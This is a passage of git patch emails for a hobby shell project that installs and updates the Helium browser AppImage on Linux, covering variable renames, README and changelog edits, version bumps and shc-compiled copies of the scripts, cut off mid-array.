"$LOCAL_VERSION" ] ; then @@ -456,24 +458,24 @@ compare_version() { ### COMPARE LOCAL & REMOTE VERSION LOCAL_VERSION_NUM=$(echo $LOCAL_VERSION | tr -d .) - SOURCE_VERSION_NUM=$(echo $SOURCE_VERSION | tr -d .) + APP_SOURCE_VERSION_NUM=$(echo $APP_SOURCE_VERSION | tr -d .) - if [ "$SOURCE_VERSION" == "$LOCAL_VERSION" ] ; then + if [ "$APP_SOURCE_VERSION" == "$LOCAL_VERSION" ] ; then echo -e "\n ${GRN}$APP_NAME_LONG is up-to-date!${CRS}\n" echo -e " ${CYN}Local Version :\t${CRS}${LOCAL_VERSION}" - echo -e " ${CYN}$SOURCE Version :\t${CRS}${SOURCE_VERSION}\n" + echo -e " ${CYN}$APP_SOURCE Version :\t${CRS}${APP_SOURCE_VERSION}\n" exit - elif [ "$SOURCE_VERSION_NUM" -gt "$LOCAL_VERSION_NUM" ] ; then + elif [ "$APP_SOURCE_VERSION_NUM" -gt "$LOCAL_VERSION_NUM" ] ; then echo -e "\n ${YEL}$APP_NAME_LONG is updatable!${CRS}\n" echo -e " ${CYN}Local Version :\t${CRS}${LOCAL_VERSION}" - echo -e " ${CYN}$SOURCE Version :\t${CRS}${SOURCE_VERSION}\n" + echo -e " ${CYN}$APP_SOURCE Version :\t${CRS}${APP_SOURCE_VERSION}\n" exit else echo -e "\n ${RED}Version tags malformed or you are using a Beta version!${CRS}\n" echo -e " ${CYN}Local Version :\t${CRS}${LOCAL_VERSION}" - echo -e " ${CYN}$SOURCE Version :\t${CRS}${SOURCE_VERSION}\n" + echo -e " ${CYN}$APP_SOURCE Version :\t${CRS}${APP_SOURCE_VERSION}\n" echo -e " ${RED}Update failed ... Exiting ...${CRS}\n" exit @@ -486,10 +488,10 @@ help() { echo -e "$APP_NAME_LONG installer & updater script\n" echo -e "Syntax: $SCRIPT_FILE_NAME [ -i | -l | -a | -u | -r | -c | -s | -S | -h ]\n" # | -U | echo -e "Options:\n" - echo -e "\t-i\tDownload & install $APP_NAME_LONG from $SOURCE" + echo -e "\t-i\tDownload & install $APP_NAME_LONG from $APP_SOURCE" echo -e "\t-l\tCreate desktop launcher" echo -e "\t-a\tCreate alias for $SCRIPT_FILE_NAME ${YEL}--> Working with zsh & bash${CRS}" - echo -e "\t-u\tDownload & update $APP_NAME_LONG from $SOURCE" + echo -e "\t-u\tDownload & update $APP_NAME_LONG from $APP_SOURCE" #echo -e "\t-U\tEnable automatic updates on login ${RED}--> Not yet working${CRS}" echo -e "\t-r\tRemove $APP_NAME_LONG" echo -e "\t-c\tCompare local to remote version" diff --git a/helium_launcher_update.sh b/helium_launcher_update.sh index f7f194d..bd6ce36 100755 --- a/helium_launcher_update.sh +++ b/helium_launcher_update.sh @@ -8,8 +8,10 @@ set -e ## GLOBAL VARIABLES APP_NAME="Helium" APP_NAME_LONG="Helium Web Browser" -SOURCE="GitHub" -SCRIPT_NAME="$APP_NAME launcher updater" +ARCH="x86_64" +FILE_EXTENSION="AppImage" +APP_SOURCE="GitHub" +SCRIPT_NAME="$APP_NAME Launcher Updater" SCRIPT_FILE_NAME="helium_launcher_update.sh" SCRIPT_VERSION="0.5.6" DATE=$(date) @@ -26,9 +28,10 @@ ICON=$ASSET_PATH/icon/helium.png SCRIPT_PATH=$HOME/.local/bin ## REMOTE LOCATIONS -REMOTE_REPO_URL=https://lab.c95.org/fr4nz/helium-helper/raw/branch/main +REMOTE_REPO_BRANCH="main" +REMOTE_REPO_URL=https://lab.c95.org/fr4nz/helium-helper/raw/branch/$REMOTE_REPO_BRANCH REMOTE_SCRIPT_URL=$REMOTE_REPO_URL/$SCRIPT_FILE_NAME -SOURCE_URL=https://api.github.com/repos/imputnet/helium-linux/releases/latest +APP_SOURCE_URL=https://api.github.com/repos/imputnet/helium-linux/releases/latest ########## FUNCTIONS ########### @@ -73,7 +76,7 @@ dependency_check () { notify-send -i "$ICON" "Helium Helper" "Update failed! See log for details" exit - elif ! [ -f "$INSTALL_PATH/$APP_NAME.AppImage" ] ; then + elif ! [ -f "$INSTALL_PATH/$APP_NAME.$FILE_EXTENSION" ] ; then echo "${DATE} | Failed to update - Local $APP_NAME AppImage not found" >> $LOG notify-send -i "$ICON" "Helium Helper" "Update failed! See log for details" exit @@ -101,7 +104,7 @@ update_script() { exit elif [ -z "$REMOTE_SCRIPT_VERSION" ] ; then - echo "${DATE} | Failed to update script - Empty version tag --> $SOURCE" >> $LOG + echo "${DATE} | Failed to update script - Empty version tag --> $APP_SOURCE" >> $LOG notify-send -i "$ICON" "Helium Helper" "Script update failed! See log for details" exit @@ -132,14 +135,14 @@ update_script() { ### UPDATE update_helium() { - DOWNLOAD_URL=$(curl -s $SOURCE_URL | grep "browser_download_url" | grep "x86_64.AppImage" | grep -v "zsync" | tr -d \" | awk '{print $2}') - SOURCE_FILENAME=$(curl -s $SOURCE_URL | grep "browser_download_url" | grep "x86_64.AppImage" | grep -v "zsync" | tr -d \" | awk '{print $2}' | awk -F'/' '{print $9}') - LOCAL_VERSION=$($INSTALL_PATH/$APP_NAME.AppImage --version | awk '{print $2}') - SOURCE_VERSION=$(curl -s $SOURCE_URL | grep "tag_name" | tr -d \", | awk '{print $2}') + DOWNLOAD_URL=$(curl -s $APP_SOURCE_URL | grep "browser_download_url" | grep "$ARCH.$FILE_EXTENSION" | grep -v "zsync" | tr -d \" | awk '{print $2}') + APP_SOURCE_FILENAME=$(curl -s $APP_SOURCE_URL | grep "browser_download_url" | grep "$ARCH.$FILE_EXTENSION" | grep -v "zsync" | tr -d \" | awk '{print $2}' | awk -F'/' '{print $9}') + LOCAL_VERSION=$($INSTALL_PATH/$APP_NAME.$FILE_EXTENSION --version | awk '{print $2}') + APP_SOURCE_VERSION=$(curl -s $APP_SOURCE_URL | grep "tag_name" | tr -d \", | awk '{print $2}') ### CHECK FOR EMPTY VERSION TAGS - if [[ -z "$SOURCE_VERSION" ]] ; then - echo "${DATE} | Failed to update - Empty version tag --> $SOURCE" >> $LOG + if [[ -z "$APP_SOURCE_VERSION" ]] ; then + echo "${DATE} | Failed to update - Empty version tag --> $APP_SOURCE" >> $LOG notify-send -i "$ICON" "Helium Helper" "Browser update failed! See log for details" exit @@ -152,24 +155,24 @@ update_helium() { ### COMPARE LOCAL & REMOTE VERSION LOCAL_VERSION_NUM=$(echo $LOCAL_VERSION | tr -d .) - SOURCE_VERSION_NUM=$(echo $SOURCE_VERSION | tr -d .) + APP_SOURCE_VERSION_NUM=$(echo $APP_SOURCE_VERSION | tr -d .) - if [ "$SOURCE_VERSION" == "$LOCAL_VERSION" ] ; then + if [ "$APP_SOURCE_VERSION" == "$LOCAL_VERSION" ] ; then notify-send -i "$ICON" "Helium Helper" "Browser is up-to-date" - elif [ "$SOURCE_VERSION_NUM" -gt "$LOCAL_VERSION_NUM" ] ; then + elif [ "$APP_SOURCE_VERSION_NUM" -gt "$LOCAL_VERSION_NUM" ] ; then mkdir -p $TMP $BACKUP_PATH wget -P $TMP $DOWNLOAD_URL -q --show-progress - chmod +x $TMP/$SOURCE_FILENAME - if [ -f "$BACKUP_PATH/$APP_NAME.AppImage.old" ] ; then - rm $BACKUP_PATH/$APP_NAME.AppImage.old + chmod +x $TMP/$APP_SOURCE_FILENAME + if [ -f "$BACKUP_PATH/$APP_NAME.$FILE_EXTENSION.old" ] ; then + rm $BACKUP_PATH/$APP_NAME.$FILE_EXTENSION.old fi - mv $INSTALL_PATH/$APP_NAME.AppImage $BACKUP_PATH/$APP_NAME.AppImage.old - mv $TMP/$SOURCE_FILENAME $INSTALL_PATH/$APP_NAME.AppImage + mv $INSTALL_PATH/$APP_NAME.$FILE_EXTENSION $BACKUP_PATH/$APP_NAME.$FILE_EXTENSION.old + mv $TMP/$APP_SOURCE_FILENAME $INSTALL_PATH/$APP_NAME.$FILE_EXTENSION cp $LAUNCHER_PATH/$APP_NAME.desktop $BACKUP_PATH/$APP_NAME.desktop.old - sed -i "s|X-AppImage-Version=.*|X-AppImage-Version=$($INSTALL_PATH/$APP_NAME.AppImage --version | awk '{print $2}')|" $LAUNCHER_PATH/$APP_NAME.desktop - echo "${DATE} | $APP_NAME updated to ${SOURCE_VERSION}" >> $LOG - notify-send -i "$ICON" "Helium Helper" "Browser updated to $SOURCE_VERSION" + sed -i "s|X-AppImage-Version=.*|X-AppImage-Version=$($INSTALL_PATH/$APP_NAME.$FILE_EXTENSION --version | awk '{print $2}')|" $LAUNCHER_PATH/$APP_NAME.desktop + echo "${DATE} | $APP_NAME updated to ${APP_SOURCE_VERSION}" >> $LOG + notify-send -i "$ICON" "Helium Helper" "Browser updated to $APP_SOURCE_VERSION" else echo "${DATE} | Failed to update - Version tags malformed" >> $LOG From 2995cc29b10047e427d2798bd993c9b00c136e66 Mon Sep 17 00:00:00 2001 From: Fr4nz D13trich Date: Sat, 27 Dec 2025 23:33:11 +0100 Subject: [PATCH 057/106] update --- todo.md => devdoc.md | 7 +++++++ 1 file changed, 7 insertions(+) rename todo.md => devdoc.md (93%) diff --git a/todo.md b/devdoc.md similarity index 93% rename from todo.md rename to devdoc.md index 0a260d2..2b74bf0 100644 --- a/todo.md +++ b/devdoc.md @@ -6,6 +6,7 @@ - Launcher has an update option now - Launcher installer refined - Clean Up +--- - Script updater - Remote script check simplified - Remover function extended @@ -18,6 +19,12 @@ - Show log option added - Variables universalized - Wiki created +--- +- sed command fixed in remover +- ARCH variable added +- APP_SOURCE variable changed +- BRANCH variable added +- FILE_EXTENSION variable added ## Add/To Do - Architecture detection From 08982535e7881d3f65413506879c9c3ea65883d0 Mon Sep 17 00:00:00 2001 From: Fr4nz D13trich Date: Sun, 28 Dec 2025 00:18:58 +0100 Subject: [PATCH 058/106] Cleanup --- helium_helper.sh | 1 - helium_launcher_update.sh | 2 -- 2 files changed, 3 deletions(-) diff --git a/helium_helper.sh b/helium_helper.sh index d18c3f0..480f8a3 100755 --- a/helium_helper.sh +++ b/helium_helper.sh @@ -1,5 +1,4 @@ #!/bin/bash - # Helium BOWSER INSTALL & UPDATE SCRIPT ---> INTERACTIVE ########## PREREQUISITES ########### set -e diff --git a/helium_launcher_update.sh b/helium_launcher_update.sh index bd6ce36..5924756 100755 --- a/helium_launcher_update.sh +++ b/helium_launcher_update.sh @@ -1,7 +1,5 @@ #!/bin/bash - # HELIUM BOWSER AUTO UPDATE SCRIPT WITH LOGGING - ########## PREREQUISITES ########### set -e From 5cc2a379852f50af23d999713438e795bcc003a8 Mon Sep 17 00:00:00 2001 From: Fr4nz D13trich Date: Sun, 28 Dec 2025 00:19:05 +0100 Subject: [PATCH 059/106] update --- README.md | 36 +++++++++++++++++++++++++++++++++++- devdoc.md | 1 + 2 files changed, 36 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index ac7a87d..c154eeb 100644 --- a/README.md +++ b/README.md @@ -1,6 +1,40 @@ # Helium Bowser installer & updater ## Purpose -This script was initially designed to just update my Helium browser but over time and interest it got more functional and universal. With "little" tinkering it should be possible to apply this script to install, update & configure many kinds of releases from source like AppImages, binaries, etc... +This script was initially designed to just update my Helium browser but over time and interest it got more functional and universal. It includes functions to install, update, remove, add launcher, etc... + +With "little" tinkering it should be possible to apply this script to install, update & configure many kinds of releases from source, like Debian packages, AppImages, binaries, etc... +## Usage +Help +```sh +./helium_helper.sh -h +``` +### First Install +To initally install Helium browser via this script, download helium_helper.sh and make it executable: +```sh +wget https://lab.c95.org/fr4nz/helium-helper/raw/branch/main/helium_helper.sh && chmod +x helium_helper.sh +``` +Run script with install parameter _-i_ +```sh +./helium_helper.sh -i +``` +Add alias to `.shellrc` | _optional_ +```sh +./helium_helper.sh -a ### ONLY TESTED WITH zsh & bash +``` +--- +### Updating +**From launcher** if added +Checking for the latest version and updating can simply be done for the browser as well as the script by right clicking the app icon and choosing either update option, which will be run by `helium_launcher_update.sh`. This will backup all files that are being updated and write a log. + +**Terminal** +Updating can also be done by running: +```sh +./helium_helper.sh -u ### UPDATE APP +``` +```sh +./helium_helper.sh -S ### UPDATE SCRIPT +``` +Since this script is interactive, it doesn't keep logs. ## Overview ### Helium_Helper.sh - Interactive installer, updater & configuration script diff --git a/devdoc.md b/devdoc.md index 2b74bf0..03b693a 100644 --- a/devdoc.md +++ b/devdoc.md @@ -25,6 +25,7 @@ - APP_SOURCE variable changed - BRANCH variable added - FILE_EXTENSION variable added +- Readme updated ## Add/To Do - Architecture detection From a638306f2f14b4274401702b95327d644df508e6 Mon Sep 17 00:00:00 2001 From: Fr4nz D13trich Date: Sun, 28 Dec 2025 00:20:53 +0100 Subject: [PATCH 060/106] update --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index c154eeb..08edeb4 100644 --- a/README.md +++ b/README.md @@ -1,6 +1,6 @@ # Helium Bowser installer & updater ## Purpose -This script was initially designed to just update my Helium browser but over time and interest it got more functional and universal. It includes functions to install, update, remove, add launcher, etc... +This script was initially designed to just update my Helium browser but over time and interest it got more functional and universal. It includes functions to install, update, remove, add launcher, etc... and is distro independent. With "little" tinkering it should be possible to apply this script to install, update & configure many kinds of releases from source, like Debian packages, AppImages, binaries, etc... ## Usage From d480d5c657c9a4458952d7a2f0d168a97897f73f Mon Sep 17 00:00:00 2001 From: Fr4nz D13trich Date: Sun, 28 Dec 2025 00:25:25 +0100 Subject: [PATCH 061/106] update --- README.md | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index 08edeb4..f6587f6 100644 --- a/README.md +++ b/README.md @@ -23,10 +23,12 @@ Add alias to `.shellrc` | _optional_ ``` --- ### Updating -**From launcher** if added +**From launcher** (if added) + Checking for the latest version and updating can simply be done for the browser as well as the script by right clicking the app icon and choosing either update option, which will be run by `helium_launcher_update.sh`. This will backup all files that are being updated and write a log. **Terminal** + Updating can also be done by running: ```sh ./helium_helper.sh -u ### UPDATE APP @@ -67,4 +69,5 @@ Since this script is interactive, it doesn't keep logs. - `helium_launcher_update.sh` --> `helium_launcher_update.sh.old` - `Helium.desktop` --> `Helium.desktop.old` which will be overwritten at every update -- Run `helium_launcher_update.sh -h` for help \ No newline at end of file +- Run `helium_launcher_update.sh -h` for help +  \ No newline at end of file From e216d9cc4ba18b3b611f7f5678f572957789ccbd Mon Sep 17 00:00:00 2001 From: Fr4nz D13trich Date: Sun, 28 Dec 2025 00:29:54 +0100 Subject: [PATCH 062/106] Script version bumped --- helium_helper.sh | 2 +- helium_launcher_update.sh | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/helium_helper.sh b/helium_helper.sh index 480f8a3..78ae4c8 100755 --- a/helium_helper.sh +++ b/helium_helper.sh @@ -20,7 +20,7 @@ APP_SOURCE="GitHub" SCRIPT_NAME="$APP_NAME Helper Script" SCRIPT_FILE_NAME="helium_helper.sh" AUTO_SCRIPT_FILE_NAME="helium_launcher_update.sh" -SCRIPT_VERSION="0.5.6" +SCRIPT_VERSION="0.5.7" ALIAS="update-helium" ## LOCATIONS diff --git a/helium_launcher_update.sh b/helium_launcher_update.sh index 5924756..332d100 100755 --- a/helium_launcher_update.sh +++ b/helium_launcher_update.sh @@ -11,7 +11,7 @@ FILE_EXTENSION="AppImage" APP_SOURCE="GitHub" SCRIPT_NAME="$APP_NAME Launcher Updater" SCRIPT_FILE_NAME="helium_launcher_update.sh" -SCRIPT_VERSION="0.5.6" +SCRIPT_VERSION="0.5.7" DATE=$(date) ## LOCATIONS From 48b85531981462dd49d35c38a51d6f5fe818c47d Mon Sep 17 00:00:00 2001 From: Fr4nz D13trich Date: Sun, 28 Dec 2025 14:11:00 +0100 Subject: [PATCH 063/106] Output beautified --- helium_helper.sh | 22 +++++++++++----------- 1 file changed, 11 insertions(+), 11 deletions(-) diff --git a/helium_helper.sh b/helium_helper.sh index 78ae4c8..44e41f4 100755 --- a/helium_helper.sh +++ b/helium_helper.sh @@ -185,22 +185,22 @@ add_alias() { ### WORKS BUT NEEDS WORK if [ -f "$HOME/.zshrc" ] ; then if [ "$(cat $HOME/.zshrc | grep "$ALIAS")" ] ; then - echo -e "\n ${LCY}$ALIAS ${GRN}already present in${CRS} $HOME/.zshrc" + echo -e "\n ${LCY}$ALIAS ${GRN}already present in${CRS} $HOME/.zshrc\n" exit fi echo "alias $ALIAS=\"$SCRIPT_PATH/$SCRIPT_FILE_NAME\"" >> $HOME/.zshrc - echo -e "\n ${LCY}$ALIAS ${GRN}added to${CRS} $HOME/.zshrc" + echo -e "\n ${LCY}$ALIAS ${GRN}added to${CRS} $HOME/.zshrc\n" elif [ -f "$HOME/.bashrc" ] ; then if [ "$(cat $HOME/.bashrc | grep "$ALIAS")" ] ; then - echo -e "\n ${LCY}$ALIAS ${GRN}already present in${CRS} $HOME/.bashrc" + echo -e "\n ${LCY}$ALIAS ${GRN}already present in${CRS} $HOME/.bashrc\n" exit fi echo "alias $ALIAS=\"$SCRIPT_PATH/$SCRIPT_FILE_NAME\"" >> $HOME/.zshrc - echo -e "\n ${LCY}$ALIAS ${GRN}added to${CRS} $HOME/.bashrc" + echo -e "\n ${LCY}$ALIAS ${GRN}added to${CRS} $HOME/.bashrc\n" else - echo -e "\n ${RED}No .shellrc file found!${CRS}" + echo -e "\n ${RED}No .shellrc file found!${CRS}\n" fi } @@ -254,7 +254,7 @@ update_helium() { break elif [[ "$CONFIRM" == "n" || "$CONFIRM" == "N" ]] ; then - echo -e " ${RED}Cancelled!${CRS}" + echo -e " ${RED}Cancelled!${CRS}\n" exit else @@ -296,7 +296,7 @@ remove_helium() { if [[ "$CONFIRM_REMOVE" == "" || "$CONFIRM_REMOVE" == "y" || "$CONFIRM_REMOVE" == "Y" ]] ; then rm -rf $INSTALL_PATH - if [ -f "$LAUNCHER_PATH/$APP_NAME.desktop" ] ; then + if [ -f "$LAUNCHER_PATH/$APP_NAME.desktop" ] ; then ### CREATE LOOP HERE? rm $LAUNCHER_PATH/$APP_NAME.desktop fi @@ -316,7 +316,7 @@ remove_helium() { fi - echo -e "\n ${RED}$APP_NAME_LONG removed!${CRS}" + echo -e "\n ${RED}$APP_NAME_LONG removed!${CRS}\n" exit elif [[ "$CONFIRM_REMOVE" == "n" || "$CONFIRM_REMOVE" == "N" ]] ; then @@ -366,7 +366,7 @@ update_script() { exit_clean elif [[ "$CONFIRM_SCRIPT_INSTALL" == "n" || "$CONFIRM_SCRIPT_INSTALL" == "N" ]] ; then - echo -e " ${RED}Cancelled!${CRS}" + echo -e " ${RED}Cancelled!${CRS}\n" exit else @@ -446,11 +446,11 @@ compare_version() { ### CHECK FOR EMPTY VERSION TAGS if [ -z "$APP_SOURCE_VERSION" ] ; then - echo -e "\n ${RED}Empty version tag from ${CYN}$APP_SOURCE${RED}! Can't compare, exiting...${CRS}" + echo -e "\n ${RED}Empty version tag from ${CYN}$APP_SOURCE${RED}! Can't compare, exiting...${CRS}\n" exit elif [ -z "$LOCAL_VERSION" ] ; then - echo -e "\n ${RED}Empty version tag from ${CYN}local AppImage${RED}! Can't compare, exiting...${CRS}" + echo -e "\n ${RED}Empty version tag from ${CYN}local AppImage${RED}! Can't compare, exiting...${CRS}\n" exit fi From 3dfa62a71a6c8b9d556ae3915c7dff03417364bd Mon Sep 17 00:00:00 2001 From: Fr4nz D13trich Date: Sun, 28 Dec 2025 14:11:40 +0100 Subject: [PATCH 064/106] Docs updated; gitignore added --- .gitignore | 1 + devdoc.md | 3 +++ 2 files changed, 4 insertions(+) create mode 100644 .gitignore diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..61a58b0 --- /dev/null +++ b/.gitignore @@ -0,0 +1 @@ +test.sh \ No newline at end of file diff --git a/devdoc.md b/devdoc.md index 03b693a..f7dfa83 100644 --- a/devdoc.md +++ b/devdoc.md @@ -26,6 +26,9 @@ - BRANCH variable added - FILE_EXTENSION variable added - Readme updated +- Documentation/Wiki updated +--- + ## Add/To Do - Architecture detection From 36d673fcd1bb63685b933bde40869cfb86be8770 Mon Sep 17 00:00:00 2001 From: Fr4nz D13trich Date: Sun, 28 Dec 2025 18:19:46 +0100 Subject: [PATCH 065/106] Script compiled with shc --- assets/binaries/helium_helper.sh.x.c | 2237 +++++++++++++++++ assets/binaries/helium_launcher_update.sh.x.c | 1262 ++++++++++ launcher-update-helium | Bin 0 -> 24368 bytes update-helium | Bin 0 -> 39976 bytes 4 files changed, 3499 insertions(+) create mode 100644 assets/binaries/helium_helper.sh.x.c create mode 100644 assets/binaries/helium_launcher_update.sh.x.c create mode 100755 launcher-update-helium create mode 100755 update-helium diff --git a/assets/binaries/helium_helper.sh.x.c b/assets/binaries/helium_helper.sh.x.c new file mode 100644 index 0000000..dfe9c18 --- /dev/null +++ b/assets/binaries/helium_helper.sh.x.c @@ -0,0 +1,2237 @@ +#if 0 + shc Version 4.0.3, Generic Shell Script Compiler + GNU GPL Version 3 Md Jahidul Hamid + + shc -f helium_helper.sh -o update-helium +#endif + +static char data [] = +#define chk2_z 19 +#define chk2 ((&data[3])) + "\325\217\031\263\156\135\062\310\367\035\156\022\260\125\114\134" + "\010\105\320\260\014\176" +#define msg1_z 65 +#define msg1 ((&data[35])) + "\255\155\253\026\061\252\257\364\210\101\011\146\141\012\221\225" + "\232\001\207\354\300\342\070\272\345\120\101\141\220\173\172\323" + "\163\103\242\330\221\316\346\276\211\226\323\117\101\120\145\043" + "\243\135\215\121\361\350\361\260\366\031\126\126\375\101\057\257" + "\115\260\253\256\215\035\007\260\210\016\216\325\160\017\003\162" + "\134\336\060\155\024\340\310\016\217\345\344" +#define date_z 1 +#define date ((&data[113])) + "\215" +#define tst2_z 19 +#define tst2 ((&data[117])) + "\126\163\300\141\376\045\252\367\020\137\021\236\273\110\140\035" + "\351\323\107\364\007\305\207\035\160" +#define tst1_z 22 +#define tst1 ((&data[142])) + "\206\014\022\346\007\136\124\313\164\277\344\264\271\123\215\263" + "\076\357\227\065\026\147\034\172\160\211\177\157\150" +#define rlax_z 1 +#define rlax ((&data[168])) + "\264" +#define chk1_z 22 +#define chk1 ((&data[172])) + "\036\212\160\151\327\174\156\246\222\025\066\113\267\265\055\062" + "\043\037\233\056\364\012\360\171\264\075\211\154" +#define shll_z 10 +#define shll ((&data[197])) + "\136\027\006\325\015\000\226\050\226\064" +#define msg2_z 19 +#define msg2 ((&data[210])) + "\003\343\107\233\316\050\325\341\230\123\261\335\105\252\377\234" + "\073\177\137\156\033\176\177\211\371\006" +#define opts_z 1 +#define opts ((&data[233])) + "\240" +#define inlo_z 3 +#define inlo ((&data[234])) + "\035\073\253" +#define text_z 20565 +#define text ((&data[1999])) + "\124\374\002\162\207\163\260\020\337\326\142\366\122\050\316\126" + "\013\025\326\225\017\334\053\033\154\101\226\145\005\355\333\132" + "\352\335\314\161\120\175\202\060\123\344\047\245\015\365\373\031" + "\013\322\256\032\256\332\065\032\033\313\200\041\271\133\173\243" + "\071\110\025\212\305\227\272\030\174\342\276\212\330\272\243\343" + "\214\121\375\072\054\063\125\107\376\325\151\270\061\344\134\152" + "\055\161\364\362\011\257\013\206\221\311\020\151\203\263\115\020" + "\005\112\113\061\176\240\171\175\166\342\065\247\306\221\021\364" + "\003\006\346\015\265\361\224\106\273\244\260\077\130\375\117\135" + "\110\232\217\306\073\010\103\262\353\171\131\262\013\153\246\017" + "\161\214\034\047\176\260\156\072\125\036\171\255\034\311\013\144" + "\144\233\053\237\244\157\122\217\350\254\101\364\027\347\003\211" + "\163\040\260\362\321\036\054\046\075\246\324\131\157\340\276\323" + "\173\351\163\037\131\305\256\101\161\357\066\211\327\071\022\113" + "\131\303\075\052\342\151\121\040\017\045\171\177\006\070\122\201" + "\042\306\241\173\214\117\275\375\077\363\207\026\055\232\142\207" + "\136\237\262\100\011\003\140\031\051\332\230\057\022\353\261\064" + "\262\122\260\076\242\155\074\341\141\303\370\216\135\132\025\273" + "\372\307\374\003\313\135\035\364\067\265\044\112\241\325\177\123" + "\047\060\222\311\235\316\253\376\222\244\215\360\377\242\254\371" + "\152\250\375\065\005\032\051\075\320\115\210\162\043\010\306\112" + "\070\130\024\326\047\277\325\271\144\142\251\143\005\125\135\157" + "\376\133\245\004\166\316\102\107\034\313\271\100\323\200\212\014" + "\331\236\343\000\136\270\272\302\033\144\045\040\272\203\220\270" + "\336\065\274\124\004\377\233\041\312\124\141\236\325\354\253\256" + "\212\216\256\351\107\151\253\143\315\321\204\207\124\024\077\062" + "\112\374\206\117\374\042\160\306\167\322\145\114\276\020\372\111" + "\237\251\062\347\022\336\112\337\257\316\147\003\343\247\065\055" + "\244\274\174\240\336\355\147\125\277\314\242\176\335\234\307\175" + "\105\372\144\130\330\257\070\207\175\237\213\141\107\301\217\353" + "\176\014\214\134\371\363\262\271\300\124\070\236\361\000\033\067" + "\372\200\217\323\057\307\133\255\147\346\016\256\247\235\231\045" + "\252\046\202\243\031\065\135\332\212\225\170\173\225\224\262\220" + "\024\102\143\103\011\276\361\161\245\377\037\114\235\271\162\110" + "\337\364\353\371\052\111\323\264\337\114\057\165\340\342\006\364" + "\044\151\070\056\050\051\237\316\051\277\032\307\171\215\017\131" + "\202\373\122\254\105\046\140\044\162\220\232\122\163\240\107\230" + "\012\177\306\062\251\146\001\323\046\033\233\237\251\252\371\053" + "\246\113\330\353\162\070\020\344\311\252\066\075\113\175\325\125" + "\375\233\210\247\002\211\172\050\245\025\310\116\300\301\172\146" + "\015\122\122\177\213\143\143\125\016\232\222\131\030\147\256\025" + "\003\067\274\005\300\067\056\145\115\367\264\015\270\056\164\306" + "\201\307\105\014\052\251\141\071\103\363\222\134\133\101\162\136" + "\170\057\144\071\146\223\236\263\212\123\301\103\201\065\011\002" + "\374\117\017\047\370\160\140\074\144\363\230\300\064\012\036\255" + "\072\203\346\240\026\205\124\240\331\025\343\132\112\355\135\107" + "\074\155\157\065\336\320\162\102\303\013\003\370\026\041\246\120" + "\245\215\360\273\022\104\134\353\132\100\106\245\055\244\355\152" + "\021\134\240\360\054\022\063\357\035\066\350\063\130\216\203\375" + "\033\164\270\056\271\024\032\023\124\141\271\202\005\246\354\027" + "\002\215\007\056\237\072\036\275\160\006\360\311\225\164\306\260" + "\351\176\336\243\223\370\266\350\131\157\152\137\026\127\167\030" + "\344\177\107\204\271\146\101\052\155\062\363\002\246\272\262\220" + "\070\221\063\314\212\352\264\344\132\037\104\160\166\273\211\133" + "\072\320\337\364\066\040\037\243\122\023\246\371\315\131\212\006" + "\352\275\322\165\250\207\132\002\246\236\163\035\132\374\170\224" + "\315\127\211\003\170\250\247\313\273\115\304\211\247\117\217\222" + "\014\141\007\265\350\141\270\217\000\053\254\132\050\044\357\365" + "\174\170\371\365\041\241\300\335\357\205\146\226\324\365\050\341" + "\127\057\226\100\221\117\317\221\172\173\354\243\240\333\230\035" + "\124\222\022\165\063\323\123\042\130\272\270\055\257\340\016\007" + "\020\245\110\242\364\027\063\157\223\040\022\063\373\253\121\117" + "\075\143\305\160\066\030\223\217\322\113\274\202\054\313\212\075" + "\160\322\337\145\352\023\324\175\063\347\261\056\222\002\176\317" + "\146\104\100\235\135\323\055\060\037\351\262\113\265\075\210\045" + "\020\147\213\372\172\137\167\255\107\051\334\331\054\133\251\222" + "\237\351\060\374\275\135\054\334\106\337\047\373\034\260\041\054" + "\030\255\046\222\014\236\100\124\310\034\055\364\167\326\206\027" + "\300\266\023\176\023\077\132\132\036\202\126\073\062\170\150\112" + "\045\217\335\062\056\035\206\366\072\263\352\262\212\161\311\113" + "\047\335\311\073\035\044\226\074\246\354\167\331\144\340\044\212" + "\157\001\274\235\037\102\223\132\366\176\015\201\357\327\315\027" + "\264\227\122\321\273\350\015\142\325\205\073\072\145\137\304\325" + "\141\200\163\200\303\007\333\272\205\350\074\165\277\011\214\163" + "\240\336\105\134\307\123\276\234\331\372\327\077\131\233\024\272" + "\034\207\073\337\216\026\232\024\376\326\211\276\337\025\062\200" + "\364\167\334\274\313\233\131\244\225\060\343\356\313\367\251\347" + "\177\345\307\016\374\141\042\373\067\253\271\027\301\353\227\265" + "\143\164\161\056\017\312\322\244\372\266\223\306\255\075\255\055" + "\043\165\073\037\326\135\033\015\011\324\044\312\300\274\177\043" + "\060\361\122\077\273\045\344\266\333\170\174\211\265\052\266\330" + "\237\362\370\166\117\023\203\131\350\250\043\250\144\243\314\224" + "\224\037\324\120\104\271\006\040\061\203\251\347\256\140\277\116" + "\122\270\304\242\314\107\373\264\360\037\135\124\302\052\351\126" + "\111\276\247\215\167\255\255\251\061\127\220\337\267\120\055\012" + "\010\361\255\324\071\250\211\052\310\347\176\212\021\150\341\132" + "\047\210\350\237\066\226\110\147\356\330\107\246\050\165\260\061" + "\147\135\006\241\006\217\313\316\167\111\131\210\262\072\343\332" + "\302\314\171\371\142\301\140\120\231\250\367\302\035\247\363\204" + "\005\372\045\013\212\361\332\001\072\063\211\355\155\155\307\060" + "\071\100\051\233\002\212\354\234\063\343\136\120\213\122\325\220" + "\115\373\234\327\354\166\330\047\252\142\025\030\317\335\111\011" + "\035\162\245\040\375\221\274\060\165\033\201\001\156\127\222\273" + "\123\056\222\100\245\153\150\120\316\175\150\236\132\261\247\170" + "\044\114\231\042\336\125\123\124\160\324\125\337\054\347\232\177" + "\026\055\277\274\231\050\014\147\245\164\006\000\045\255\171\112" + "\372\022\154\331\147\277\055\330\224\203\267\300\153\122\100\201" + "\177\000\075\031\050\111\200\315\276\207\316\344\065\107\056\060" + "\131\233\011\301\132\067\232\357\273\122\260\046\244\360\250\044" + "\360\346\075\031\060\276\347\357\106\265\323\173\375\002\253\126" + "\235\264\030\370\354\262\347\247\004\227\316\251\210\167\315\170" + "\135\013\221\216\312\170\175\020\056\121\214\053\123\067\202\360" + "\354\232\351\331\115\321\200\121\150\117\373\360\306\311\151\044" + 